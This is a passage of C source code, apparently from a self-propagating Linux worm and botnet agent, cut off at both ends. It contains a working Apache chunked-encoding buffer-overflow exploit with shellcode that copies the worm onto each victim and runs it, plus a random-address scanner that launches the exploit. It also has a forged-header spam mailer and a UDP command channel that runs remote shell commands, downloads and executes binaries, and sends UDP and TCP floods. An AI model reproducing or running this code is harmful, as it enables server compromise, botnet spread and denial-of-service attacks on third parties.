                for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
                cleanup(start);
                return strdup(start);
            }
        }
    }
    return NULL;
}

#define    ENC(c) ((c) ? ((c) & 077) + ' ': '`')

int sendch(int sock,int buf) {
    char a[2];
    int b=1;
    if (buf == '`' || buf == '\\' || buf == '$') {
        a[0]='\\';
        a[1]=0;
        b=write(sock,a,1);
    }
    if (b <= 0) return b;
    a[0]=buf;
    a[1]=0;
    return write(sock,a,1);
}

int writem(int sock, char *str) {
    return write(sock,str,strlen(str));
}

int encode(int a) {
    register int ch, n;
    register char *p;
    char buf[80];
    FILE *in;
    if ((in=fopen("/tmp/.a","r")) == NULL) return 0;
    writem(a,"begin 655 .a\n");
    while ((n = fread(buf, 1, 45, in))) {
        ch = ENC(n);
        if (sendch(a,ch) <= ASUCCESS) break;
        for (p = buf; n > 0; n -= 3, p += 3) {
            if (n < 3) {
                p[2] = '\0';
                if (n < 2) p[1] = '\0';
            }
            ch = *p >> 2;
            ch = ENC(ch);
            if (sendch(a,ch) <= ASUCCESS) break;
            ch = ((*p << 4) & 060) | ((p[1] >> 4) & 017);
            ch = ENC(ch);
            if (sendch(a,ch) <= ASUCCESS) break;
            ch = ((p[1] << 2) & 074) | ((p[2] >> 6) & 03);
            ch = ENC(ch);
            if (sendch(a,ch) <= ASUCCESS) break;
            ch = p[2] & 077;
            ch = ENC(ch);
            if (sendch(a,ch) <= ASUCCESS) break;
        }
        ch='\n';
        if (sendch(a,ch) <= ASUCCESS) break;
        usleep(10);
    }
    if (ferror(in)) {
        fclose(in);
        return 0;
    }
    ch = ENC('\0');
    sendch(a,ch);
    ch = '\n';
    sendch(a,ch);
    writem(a,"end\n");
    if (in) fclose(in);
    return 1;
}

void exploit(char *ip) {
    char *a=GetAddress(ip);
    char localip[256];
    int l,sock;
    struct sockaddr_in sin;
    if (a == NULL) exit(0);
    if (strncmp(a,"Apache",6)) exit(0);
    free(a);
    alarm(60);
    for (l=0;l<2;l++) {
        u_char buf[512], *expbuf=0, *p=0;
        int i=0, j=0, responses=0;
        memcpy(&victim, &targets[l], sizeof(victim));
        sock = socket(PF_INET, SOCK_STREAM, 0);
        sin.sin_family = PF_INET;
        sin.sin_addr.s_addr = inet_addr(ip);
        sin.sin_port = htons(80);
        if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) exit(1);
        p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE) + ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero + 1024) * REP_POPULATOR));
        PUT_STRING("POST / HTTP/1.1\r\nHost: " HOST_PARAM "\r\n");
        for (i = 0; i < REP_SHELLCODE; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_3, PADDING_3);
            PUT_STRING(": ");
            PUT_BYTES(NOPCOUNT, NOP);
            memcpy(p, shellcode, sizeof(shellcode) - 1);
            p += sizeof(shellcode) - 1;
            PUT_STRING("\r\n");
        }
        for (i = 0; i < REP_POPULATOR; i++) {
            PUT_STRING("X-");
            PUT_BYTES(PADSIZE_1, PADDING_1);
            PUT_STRING(": ");
            for (j = 0; j < victim.repretaddr; j++) {
                *p++ = victim.retaddr & 0xff;
                *p++ = (victim.retaddr >> 8) & 0xff;
                *p++ = (victim.retaddr >> 16) & 0xff;
                *p++ = (victim.retaddr >> 24) & 0xff;
            }
            PUT_BYTES(victim.repzero, 0);
            PUT_STRING("\r\n");
        }
        PUT_STRING("Transfer-Encoding: chunked\r\n");
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
        PUT_STRING(buf);
        PUT_BYTES(PADSIZE_2, PADDING_2);
        snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", victim.delta);
        PUT_STRING(buf);
        write(sock, expbuf, p - expbuf);
        responses = 0;
        while (1) {
            fd_set fds;
            int n;
            struct timeval  tv;
            tv.tv_sec = 15;
            tv.tv_usec = 0;
            FD_ZERO(&fds);
            FD_SET(sock, &fds);
            memset(buf, 0, sizeof(buf));
            if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) if(FD_ISSET(sock, &fds)) {
                if((n = read(sock, buf, sizeof(buf) - 1)) < 0) break;
                if(n >= 1) {
                    for(i = 0; i < n; i ++) if(buf == 'G') responses ++; else responses = 0;
                    if(responses >= 2) {
                        write(sock,"O",1);
                        alarm(3600);
                        sleep(10);
                        writem(sock,"\nrm -rf /tmp/.a;cat > /tmp/.uua << __eof__;\n");
                        encode(sock);
                        writem(sock,"__eof__\n");
                        conv(localip,256,myip);
                        sprintf(buf,"/usr/bin/uudecode -p /tmp/.uua > /tmp/.a;killall -9 .a;chmod +x /tmp/.a;killall -9 .a;/tmp/.a %s;exit;\n",localip);
                        writem(sock,buf);
                        while(read(sock,buf,1024)>=0);
                        exit(0);
                    }
                }
            }
        }
        free(expbuf);
        close(sock);
    }
    return;
}
#endif

struct dns {
    unsigned short int id;
    unsigned char  rd:1;
    unsigned char  tc:1;
    unsigned char  aa:1;
    unsigned char  opcode:4;
    unsigned char  qr:1;
    unsigned char  rcode:4;
    unsigned char  unused:2;
    unsigned char  pr:1;
    unsigned char  ra:1;
    unsigned short int que_num;
    unsigned short int rep_num;
    unsigned short int num_rr;
    unsigned short int num_rrsup;
};

struct dns_rr {
    unsigned short type;
    unsigned short rr_class;
    unsigned int ttl;
    unsigned short rdlength;
};

struct _elist {
    char *name;
    struct _elist *next;
};

struct _mailserver {
    unsigned long count;
    char *name;
    struct _elist *elist;
    struct _mailserver *next;
} *mailservers=(struct _mailserver*)NULL;

char *GetServer(char *str) {
    unsigned char buf[2048];
    unsigned long len=0,i,j,hostlen,g;
    struct dns dnsp;
    struct dns_rr dnsr;
    struct ainst a,client;
    char host[256],domain[256];
    unsigned long start;
    struct _mailserver *current=NULL;
    struct _mailserver *getlist=mailservers;
    i=0;
    while(getlist != NULL) {
        if (!strcasecmp(getlist->name,str)) {
            i=1;
            break;
        }
        getlist=getlist->next;
    }
    if (i) {
        struct _elist *elist=getlist->elist;
        current=getlist;
        if (current->count) {
            for (i=0;i<(rand()%current->count);i++) elist=elist->next;
            return elist->name;
        }
        else return 0;
    }
    else {
        struct _mailserver *new=(struct _mailserver*)malloc(sizeof(struct _mailserver));
        new->count=0;
        new->name=strdup(str);
        new->elist=NULL;
        new->next=mailservers;
        mailservers=new;
        current=new;
    }

    if (strlen(str) > 256) return 0;
    strcpy(host,str);
    if (audp_setup(&a,"12.127.17.71",53) != ASUCCESS) return 0;
    srand(time(NULL));
    memset(buf,0,2048);
    dnsp.id=rand();
    dnsp.rd=1;
    dnsp.tc=0;
    dnsp.aa=0;
    dnsp.opcode=0;
    dnsp.qr=0;
    dnsp.rcode=0;
    dnsp.unused=0;
    dnsp.pr=0;
    dnsp.ra=0;
    dnsp.que_num=256;
    dnsp.rep_num=0;
    dnsp.num_rr=0;
    dnsp.num_rrsup=0;
    memcpy(buf,(void*)&dnsp,sizeof(dnsp));
    len+=sizeof(dnsp);
    hostlen=strlen(host);
    for (i=0,j=0;i<=hostlen;i++) if (host == '.' || host == 0) {
        char tmp;
        tmp=host;
        host=0;
        sprintf(buf+len,"%c%s",(unsigned char)(i-j),host+j);
        len+=1+strlen(host+j);
                j=i+1;
        host=tmp;
        }
    buf[len++]=0x0;
    buf[len++]=0x0;
    buf[len++]=0xf;
    buf[len++]=0x0;
    buf[len++]=0x1;
    audp_send(&a,buf,len);

    memset(buf,0,sizeof(buf));
    start=time(NULL);
    while(audp_recv(&a,&client,buf,sizeof(buf))) if (time(NULL)-start > 10) return 0;
    memcpy((void*)&dnsp,buf,sizeof(dnsp));
    memset(domain,0,256);
    for (i=0;i<ntohs(dnsp.rep_num) && len<=a.len;i++) {
        char output[256];
        unsigned long tmpl,dlen;
        len+=2;
        memcpy((void*)&dnsr,buf+len,sizeof(dnsr));
        len+=sizeof(dnsr);
        tmpl=len;
        memset(output,0,256);
        while (len-tmpl < ntohs(dnsr.rdlength)-5) {
            unsigned char tmp;
            dlen=buf[len];
            if (dlen == 0) break;
            tmp=buf[len+dlen+1];
            buf[len+dlen+1]=0;
            sprintf(output+strlen(output),"%s.",buf+len+1);
            buf[len+dlen+1]=tmp;
            len+=dlen+1;
        }
        g=0;
        if (buf[len] == 0) len++;
        else {
            g=1;
            len+=2;
        }
        if (i) strcpy(output+strlen(output),domain);
        else {
            for (j=0;j<strlen(output) && output[j] != '.';j++);
            strcpy(domain,output+j+1);
            if (g) {
                strcpy(domain+strlen(domain),host);
                strcpy(output+strlen(output),host);
            }
        }
        while(output[strlen(output)-1] == '.') output[strlen(output)-1]=0;
        {
            struct _elist *new=(struct _elist*)malloc(sizeof(struct _elist));
            new->name=strdup(output);
            new->next=current->elist;
            current->elist=new;
            current->count++;
        }
    }
    audp_close(&a);
    if (current->count) return current->elist->name;
    else return 0;
}

void SendMail(char *to, char *from, char *subject, char *data) {
    struct ainst srv;
    char buf[4096],bufm[4096],*sa;
    unsigned long i,mode=0,tm=time(NULL);
    memset(buf,0,4096);
    strcpy(buf,to);
    for (i=0;i<strlen(to);i++) if (to == '@') break;
    cleanup(buf);
    cleanup(from);
    cleanup(subject);
    sa=GetServer(buf+i+1);
    if (sa == NULL) return;
    if (atcp_connect(&srv,sa,25) != 0) return;
    while(1) {
        struct ainst *g[1];
        g[0]=&srv;
        memset(bufm,0,4096);
        if (await(g,1,AREAD,20) != 0 || atcp_recv(&srv,bufm,4096) != 0 || srv.len == 0) return;
        cleanup(bufm);
        switch(atoi(bufm)) {
            case 220:
                atcp_sendmsg(&srv,"HELO %s\n",sa);
                break;
            case 250:
                switch(mode) {
                    case 0:
                        atcp_sendmsg(&srv,"MAIL FROM:<%s>\n",from);
                        break;
                    case 1:
                        atcp_sendmsg(&srv,"RCPT TO:<%s>\n",buf);
                        break;
                    case 2:
                        atcp_sendmsg(&srv,"DATA\n");
                        break;
                    case 3:
                        atcp_sendmsg(&srv,"QUIT\n");
                        atcp_close(&srv);
                        return;
                }
                mode++;
                break;
            case 354:
                atcp_sendmsg(&srv,"Return-Path: <%c%c%c%c%c%c%c@aol.com>\n",tolower((rand()%(91-65))+65),tolower((rand()%(91-65))+65),tolower((rand()%(91-65))+65),tolower((rand()%(91-65))+65),tolower((rand()%(91-65))+65),tolower((rand()%(91-65))+65),tolower((rand()%(91-65))+65));
                atcp_sendmsg(&srv,"From: %s\n",from);
                atcp_sendmsg(&srv,"Message-ID: <%x.%x.%x@aol.com>\n",rand(),rand(),rand());
                atcp_sendmsg(&srv,"Date: %s",ctime(&tm));
                atcp_sendmsg(&srv,"Subject: %s\n",subject);
                atcp_sendmsg(&srv,"To: %s\n",buf);
                atcp_sendmsg(&srv,"Mime-Version: 1.0\n");
                atcp_sendmsg(&srv,"Content-Type: text/html\n\n");
                atcp_sendmsg(&srv,"%s\r\n.\r\n",data);
                break;
        }
    }
}

int main(int argc, char **argv) {
    unsigned char a=0,b=0,c=0,d=0;
    unsigned long bases,*cpbases;
    struct initsrv_rec initrec;
    struct ainst backup;
    int null=open("/dev/null",O_RDWR);
    if (argc <= 1) {
        printf("%s <base 1> [base 2] ...\n",argv[0]);
        return 0;
    }
    srand(time(NULL)^getpid());
    memset((char*)&routes,0,sizeof(struct route_table)*24);
    memset(clients,0,sizeof(struct ainst)*CLIENTS*2);
    if (audp_listen(&udpserver,PORT) != 0) {
        printf("Error: %s\n",aerror(&udpserver));
        return 0;
    }
    memset((void*)&initrec,0,sizeof(struct initsrv_rec));
    initrec.h.tag=0x70;
    cpbases=(unsigned long*)malloc(sizeof(unsigned long)*argc);
    if (cpbases == NULL) {
        printf("Insufficient memory\n");
        return 0;
    }
    for (bases=1;bases<argc;bases++) {
        cpbases[bases-1]=aresolve(argv[bases]);
        relay(cpbases[bases-1],(char*)&initrec,sizeof(struct initsrv_rec));
    }
    memcpy((void*)&backup,(void*)&udpserver,sizeof(struct ainst));
    numlinks=0;
    dup2(null,0);
    dup2(null,1);
    dup2(null,2);
    if (fork()) return 1;
    a=classes[rand()%(sizeof classes)];
    b=rand();
    c=0;
    d=0;
    signal(SIGCHLD,nas);
    signal(SIGHUP,nas);
    while (1) {
        static unsigned long timeout=0;
        char buf_[3000],*buf=buf_;
        int n,p;
        long l,i;
        unsigned long start=time(NULL);
        fd_set read;
        struct timeval tm;
        memcpy((void*)&udpserver,(void*)&backup,sizeof(struct ainst));
        FD_ZERO(&read);
        FD_SET(udpserver.sock,&read);
        udpserver.len=0;
        l=udpserver.sock;
        for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
            FD_SET(clients[n].sock,&read);
            clients[n].len=0;
            if (clients[n].sock > l) l=clients[n].sock;
        }
        tm.tv_sec=2;
        tm.tv_usec=0;
        select(l+1,&read,NULL,NULL,&tm);
        if (FD_ISSET(udpserver.sock,&read)) udpserver.len=AREAD;
        for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock != 0) if (FD_ISSET(clients[n].sock,&read)) clients[n].len=AREAD;

        timeout+=time(NULL)-start;
        if (timeout >= 60) {
            if (links == NULL || numlinks == 0) {
                memset((void*)&initrec,0,sizeof(struct initsrv_rec));
                initrec.h.tag=0x70;
                for (bases=0;bases<argc-1;bases++) relay(cpbases[bases],(char*)&initrec,sizeof(struct initsrv_rec));
            }
            else if (!myip) {
                memset((void*)&initrec,0,sizeof(struct initsrv_rec));
                initrec.h.tag=0x74;
                if (numlinks == 0 || links == NULL) for (bases=0;bases<argc-1;bases++) relay(cpbases[bases],(char*)&initrec,sizeof(struct initsrv_rec));
                else broute(0,(char*)&initrec,sizeof(struct initsrv_rec));
            }
            timeout=0;
        }
        for (i=0;i<numpids;i++) if (waitpid(pids,NULL,WNOHANG) > 0) {
            unsigned int *newpids,on;
            for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
            pids[on-1]=0;
            numpids--;
            newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
            for (on=0;on<numpids;on++) newpids[on]=pids[on];
            free(pids);
            pids=newpids;
        }
#ifdef SCAN
        if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
            char srv[256];
            if (d == 255) {
                if (c == 255) {
                    a=classes[rand()%(sizeof classes)];
                    b=rand();
                    c=0;
                }
                else c++;
                d=0;
            }
            else d++;
            memset(srv,0,256);
            sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
            clients[n].ext=time(NULL);
            atcp_sync_connect(&clients[n],srv,SCANPORT);
            p++;
        }
        for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
            p=atcp_sync_check(&clients[n]);
            if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_close(&clients[n]);
            if (p == ASUCCESS) {
                char srv[256];
                conv(srv,256,clients[n].in.sin_addr.s_addr);
                if (mfork() == 0) {
                    exploit(srv);
                    exit(0);
                }
            }
        }
#endif
        for (n=0;n<CLIENTS;n++) if (clients[n].sock != 0) {
            if (clients[n].ext2 == TCP_PENDING) {
                struct add_rec rc;
                memset((void*)&rc,0,sizeof(struct add_rec));
                p=atcp_sync_check(&clients[n]);
                if (p == ACONNECT) {
                    rc.h.tag=0x42;
                    rc.h.seq=newseq();
                    rc.h.id=clients[n].ext3;
                    audp_send(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
                    FREE(clients[n].ext);
                    FREE(clients[n].ext5);
                    atcp_close(&clients[n]);
                }
                if (p == ASUCCESS) {
                    rc.h.tag=0x43;
                    rc.h.seq=newseq();
                    rc.h.id=clients[n].ext3;
                    audp_send(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
                    clients[n].ext2=TCP_CONNECTED;
                    if (clients[n].ext5) {
                        atcp_send(&clients[n],clients[n].ext5,9);
                        clients[n].ext2=SOCKS_REPLY;
                    }
                }
            }
            else if (clients[n].ext2 == SOCKS_REPLY && clients[n].len != 0) {
                struct add_rec rc;
                memset((void*)&rc,0,sizeof(struct add_rec));
                l=atcp_recv(&clients[n],buf,3000);
                if (*buf == 0) clients[n].ext2=TCP_CONNECTED;
                else {
                    rc.h.tag=0x42;
                    rc.h.seq=newseq();
                    rc.h.id=clients[n].ext3;
                    audp_send(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
                    FREE(clients[n].ext);
                    FREE(clients[n].ext5);
                    atcp_close(&clients[n]);
                }
            }
            else if (clients[n].ext2 == TCP_CONNECTED && clients[n].len != 0) {
                struct data_rec rc;
                memset((void*)&rc,0,sizeof(struct data_rec));
                l=atcp_recv(&clients[n],buf+sizeof(struct data_rec),3000-sizeof(struct data_rec));
                if (l == AUNKNOWN) {
                    struct kill_rec rc;
                    memset((void*)&rc,0,sizeof(struct kill_rec));
                    rc.h.tag=0x42;
                    rc.h.seq=newseq();
                    rc.h.id=clients[n].ext3;
                    audp_send((struct ainst *)clients[n].ext,(void*)&rc,sizeof(struct kill_rec));
                    FREE(clients[n].ext);
                    FREE(clients[n].ext5);
                    atcp_close(&clients[n]);
                }
                else {
                    l=clients[n].len;
                    rc.h.tag=0x41;
                    rc.h.seq=newseq();
                    rc.h.id=clients[n].ext3;
                    rc.h.len=l;
                    _encrypt(buf+sizeof(struct data_rec),l);
                    memcpy(buf,(void*)&rc,sizeof(struct data_rec));
                    audp_send((struct ainst *)clients[n].ext,buf,l+sizeof(struct data_rec));
                }
            }
        }

        if (udpserver.len != 0) if (!audp_recv(&udpserver,&udpclient,buf,3000)) {
            struct header *tmp=(struct header *)buf;
            if (udpserver.len >= sizeof(struct header)) {
                switch(tmp->tag) {
                    case 0x20: { // Versione
#ifdef LARGE_NET
                        senderror(&udpclient,tmp->id,"Unknown 24-06-2002 APC (LN)\n");
#else
                        senderror(&udpclient,tmp->id,"Unknown 24-06-2002 APC\n");
#endif
                        } break;
                    case 0x21: { // Aggiungere il collegamento
                        struct add_rec *sr=(struct add_rec *)buf;
                        if (udpserver.len < sizeof(struct add_rec)) break;
                        for (n=0;n<CLIENTS;n++) if (clients[n].sock == 0) {
                            char srv[256];
                            if (sr->socks == 0) conv(srv,256,sr->server);
                            else conv(srv,256,sr->socks);
                            clients[n].ext2=TCP_PENDING;
                            clients[n].ext3=sr->h.id;
                            clients[n].ext=(struct ainst*)malloc(sizeof(struct ainst));
                            if (clients[n].ext == NULL) {
                                clients[n].sock=0;
                                break;
                            }
                            memcpy((void*)clients[n].ext,(void*)&udpclient,sizeof(struct ainst));
                            if (sr->socks == 0) {
                                clients[n].ext5=NULL;
                                atcp_sync_connect(&clients[n],srv,sr->port);
                            }
                            else {
                                clients[n].ext5=(char*)malloc(9);
                                if (clients[n].ext5 == NULL) {
                                    clients[n].sock=0;
                                    break;
                                }
                                ((char*)clients[n].ext5)[0]=0x04;
                                ((char*)clients[n].ext5)[1]=0x01;
                                ((char*)clients[n].ext5)[2]=((char*)&sr->port)[1];
                                ((char*)clients[n].ext5)[3]=((char*)&sr->port)[0];
                                ((char*)clients[n].ext5)[4]=((char*)&sr->server)[0];
                                ((char*)clients[n].ext5)[5]=((char*)&sr->server)[1];
                                ((char*)clients[n].ext5)[6]=((char*)&sr->server)[2];
                                ((char*)clients[n].ext5)[7]=((char*)&sr->server)[3];
                                ((char*)clients[n].ext5)[8]=0x00;
                                atcp_sync_connect(&clients[n],srv,1080);
                            }
                            if (sr->bind) abind(&clients[n],sr->bind,0);
                            break;
                        }
                        } break;
                    case 0x22: { // Collegamento di uccisione
                        struct kill_rec *sr=(struct kill_rec *)buf;
                        if (udpserver.len < sizeof(struct kill_rec)) break;
                        for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->h.id) {
                            FREE(clients[n].ext);
                            FREE(clients[n].ext5);
                            atcp_close(&clients[n]);
                        }
                        } break;
                    case 0x23: { // Trasmettere il messaggio
                        struct data_rec *sr=(struct data_rec *)buf;
                        if (udpserver.len < sizeof(struct data_rec)+sr->h.len) break;
                        for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->h.id) {
                            _decrypt(buf+sizeof(struct data_rec),sr->h.len);
                            atcp_send(&clients[n],buf+sizeof(struct data_rec),sr->h.len);
                        }
                        } break;
#ifndef LARGE_NET
                    case 0x24: { // Eseguire il comando
                        FILE *f;
                        struct sh_rec *sr=(struct sh_rec *)buf;
                        struct kill_rec kp;
                        int id;
                        if (udpserver.len < sizeof(struct sh_rec)+sr->h.len || sr->h.len > 2999-sizeof(struct sh_rec)) break;
                        memset((void*)&kp,0,sizeof(struct kill_rec));
                        id=sr->h.id;
                        (buf+sizeof(struct sh_rec))[sr->h.len]=0;
                        _decrypt(buf+sizeof(struct sh_rec),sr->h.len);
                        f=popen(buf+sizeof(struct sh_rec),"r");
                        if (f != NULL) {
                            while(1) {
                                struct data_rec rc;
                                char *str;
                                unsigned long len;
                                memset(buf,0,3000);
                                fgets(buf,3000,f);
                                if (feof(f)) break;
                                len=strlen(buf);
                                memset((void*)&rc,0,sizeof(struct data_rec));
                                rc.h.tag=0x41;
                                rc.h.seq=newseq();
                                rc.h.id=id;
                                rc.h.len=len;
                                _encrypt(buf,len);
                                str=(char*)malloc(sizeof(struct data_rec)+len);
                                if (str == NULL) break;
                                memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
                                memcpy((void*)(str+sizeof(struct data_rec)),buf,len);
                                audp_send(&udpclient,str,sizeof(struct data_rec)+len);
                                FREE(str);
                            }
                            pclose(f);
                            kp.h.tag=0x42;
                            kp.h.seq=newseq();
                            kp.h.id=id;
                            audp_send(&udpclient,(void*)&kp,sizeof(struct kill_rec));
                        }
                        else senderror(&udpclient,id,"Unable to execute command");
                        } break;
#else
                    case 0x24: { // Eseguire il comando
                        senderror(&udpclient,tmp->id,"Not implicated\n");
                        } break;
#endif
                    case 0x25: { // Rumore metallico
                        struct ping_rec *rp=(struct ping_rec *)buf;
                        struct pong_rec rc;
                        struct kill_rec kp;
                        if (udpserver.len < sizeof(struct ping_rec)) break;
                        memset((void*)&rc,0,sizeof(struct pong_rec));
                        memset((void*)&kp,0,sizeof(struct kill_rec));
                        rc.h.tag=0x44;
                        rc.h.seq=newseq();
                        rc.h.id=rp->h.id;
                        rc.from=myip;
                        audp_send(&udpclient,(char*)&rc,sizeof(struct pong_rec));
                        kp.h.tag=0x42;
                        rc.h.seq=newseq();
                        kp.h.id=rp->h.id;
                        audp_send(&udpclient,(void*)&kp,sizeof(struct kill_rec));
                        } break;
                    case 0x26: { // Itinerario
                        struct route_rec *rp=(struct route_rec *)buf;
                        unsigned long i;
                        if (udpserver.len < sizeof(struct route_rec)) break;
                        if (!useseq(rp->h.seq)) {
                            addseq(rp->h.seq);

                            if (rp->server == -1 || rp->server == 0 || rp->server == myip) relay(inet_addr("127.0.0.1"),buf+sizeof(struct route_rec),rp->h.len-sizeof(struct route_rec));
                            if (rp->server == -1 || rp->server == 0) broadcast(buf,rp->h.len);
                            else if (rp->server != myip) {
                                if (rp->hops == 0 || rp->hops > 16) relay(rp->server,buf,rp->h.len);
                                else {
                                    rp->hops--;
                                    broadcast(buf,rp->h.len);
                                }
                            }

                            for (i=LINKS;i>0;i--) memcpy((struct route_table*)&routes,(struct route_table*)&routes[i-1],sizeof(struct route_table));
                            memset((struct route_table*)&routes[0],0,sizeof(struct route_table));
                            routes[0].id=rp->h.id;
                            routes[0].ip=udpclient.in.sin_addr.s_addr;
                            routes[0].port=htons(udpclient.in.sin_port);
                        }
                        } break;
#ifndef LARGE_NET
                    case 0x27: { // Aggiornamento
                        struct update_rec *rp=(struct update_rec *)buf;
                        struct kill_rec np;
                        struct ainst up;
                        char *server,done=0,bufm[4096],srv[256];
                        long i,d,id;
                        int file;
                        char check=0;
                        if (udpserver.len < sizeof(struct update_rec)+rp->h.len || rp->h.len > 2999-sizeof(struct update_rec)) break;
                        memset((void*)&np,0,sizeof(struct kill_rec));
                        id=rp->h.id;
                        (buf+sizeof(struct update_rec))[rp->h.len]=0;
                        _decrypt(buf+sizeof(struct update_rec),rp->h.len);
                        if (!strncmp(buf+sizeof(struct update_rec),"http://",7)) server=buf+sizeof(struct update_rec)+7;
                        else server=buf+sizeof(struct update_rec);
                        for (i=0;i<strlen(server) && server != '/';i++);
                        server=0;
                        if (atcp_connect(&up,server,80) != 0) {
                            senderror(&udpclient,id,"Unable to connect to host\n");
                            atcp_close(&up);
                            break;
                        }
                        atcp_sendmsg(&up,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",server+i+1,server);
                        remove("/tmp/tmp");
                        if ((file=open("/tmp/tmp",O_WRONLY|O_CREAT)) == 0) {
                            senderror(&udpclient,id,"Unable to open temporary file for writing\n");
                            atcp_close(&up);
                            break;
                        }
                        while(!done) {
                            struct ainst *g[1];
                            g[0]=&up;
                            if (await(g,1,AREAD,20) != 0 || atcp_recv(&up,bufm,4096) != 0 || up.len == 0) {
                                senderror(&udpclient,id,"Error communicating with website\n");
                                done=2;
                                break;
                            }
                            for (d=0;d<up.len-3 && !done;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
                                for (d+=4;d<up.len;d++) write(file,(char*)&bufm[d],1);
                                while(1) {
                                    struct ainst *g[1];
                                    g[0]=&up;
                                    if (await(g,1,AREAD,20) != 0) {
                                        senderror(&udpclient,id,"Timed out while receiving data\n");
                                        done=2;
                                        break;
                                    }
                                    if (atcp_recv(&up,bufm,4096) != 0 || up.len <= 0) break;
                                    for (d=0;d<up.len;d++) {
                                        if (!strncmp(bufm+d,"UNKNOWN-CHECKSUM-SUCCESSFUL",27)) check=1;
                                        write(file,(char*)&bufm[d],1);
                                    }
                                }
                                if (done == 0) done=1;
                            }
                        }
                        close(file);
                        atcp_close(&up);
                        if (check == 0 && done != 2) {
                            senderror(&udpclient,id,"Checksum for data failed\n");
                            break;
                        }
                        np.h.tag=0x42;
                        np.h.seq=newseq();
                        np.h.id=rp->h.id;
                        audp_send(&udpclient,(void*)&np,sizeof(struct kill_rec));
                        if (done == 2) break;
                        audp_close(&udpclient);
                        audp_close(&udpserver);
                        memset(bufm,0,1024);
                        conv(srv,256,cpbases[0]);
                        sprintf(bufm,"mv /tmp/tmp /tmp/init;export PATH=\"/tmp\";init %s",srv);
                        execl("/bin/sh","/bin/sh","-c",bufm,NULL);
                        exit(0);
                        } break;


#else
                    case 0x27: { // Aggiornamento
                        senderror(&udpclient,tmp->id,"Not implicated\n");
                        } break;
#endif
                    case 0x28: { // Lista
                        struct list_rec *rp=(struct list_rec *)buf;
                        struct kill_rec kp;
                        if (udpserver.len < sizeof(struct list_rec)) break;
                        memset((void*)&kp,0,sizeof(struct kill_rec));
                        syncm(&udpclient,0x46,rp->h.id);
                        kp.h.tag=0x42;
                        kp.h.seq=newseq();
                        kp.h.id=rp->h.id;
                        audp_send(&udpclient,(void*)&kp,sizeof(struct kill_rec));
                        } break;
                    case 0x29: { // Udp inondazione
                        int flag=1,fd,i=0;
                        char *str;
                        struct sockaddr_in in;
                        time_t start=time(NULL);
                        struct udp_rec *rp=(struct udp_rec *)buf;
                        if (udpserver.len < sizeof(struct udp_rec)) break;
                        if (rp->size > 9216) {
                            senderror(&udpclient,rp->h.id,"Size must be less than or equal to 9216\n");
                            break;
                        }
                        if (!isreal(rp->target)) {
                            senderror(&udpclient,rp->h.id,"Cannot packet local networks\n");
                            break;
                        }
                        senderror(&udpclient,rp->h.id,"Udp flooding target\n");
                        str=(char*)malloc(rp->size);
                        if (str == NULL) break;
                        for (i=0;i<rp->size;i++) str=rand();
                        memset((void*)&in,0,sizeof(struct sockaddr_in));
                        in.sin_addr.s_addr=rp->target;
                        in.sin_family=AF_INET;
                        in.sin_port=htons(rp->port);
                        while(1) {
                            if (rp->port == 0) in.sin_port = rand();
                            if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
                            else {
                                flag = fcntl(fd, F_GETFL, 0);
                                flag |= O_NONBLOCK;
                                fcntl(fd, F_SETFL, flag);
                                sendto(fd,str,rp->size,0,(struct sockaddr*)&in,sizeof(in));
                                close(fd);
                            }
                            if (i >= 50) {
                                if (time(NULL) >= start+rp->secs) break;
                                i=0;
                            }
                            i++;
                        }
                        FREE(str);
                        } break;
                    case 0x2A: { // Tcp inondazione
                        int flag=1,fd,i=0;
                        struct sockaddr_in in;
                        time_t start=time(NULL);
                        struct tcp_rec *rp=(struct tcp_rec *)buf;
                        if (udpserver.len < sizeof(struct tcp_rec)) break;
                        if (!isreal(rp->target)) {
                            senderror(&udpclient,rp->h.id,"Cannot packet local networks\n");
                            break;
                        }
                        senderror(&udpclient,rp->h.id,"Tcp flooding target\n");
                        memset((void*)&in,0,sizeof(struct sockaddr_in));
                        in.sin_addr.s_addr=rp->target;
                        in.sin_family=AF_INET;
                        in.sin_port=htons(rp->port);
                        while(1) {
                            if (rp->port == 0) in.sin_port = rand();
                            if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
                            else {
                                flag = fcntl(fd, F_GETFL, 0);
                                flag |= O_NONBLOCK;
                                fcntl(fd, F_SETFL, flag);
                                connect(fd, (struct sockaddr *)&in, sizeof(in));
                                close(fd);
                            }
                            if (i >= 50) {
                                if (time(NULL) >= start+rp->secs) break;
                                i=0;
                            }
                            i++;
                        }
                        } break;
                    case 0x2B: { // Generico inondazione
                        int get;
                        struct sockaddr_in in;
                        struct gen_rec *rp=(struct gen_rec *)buf;
                        time_t start=time(NULL);
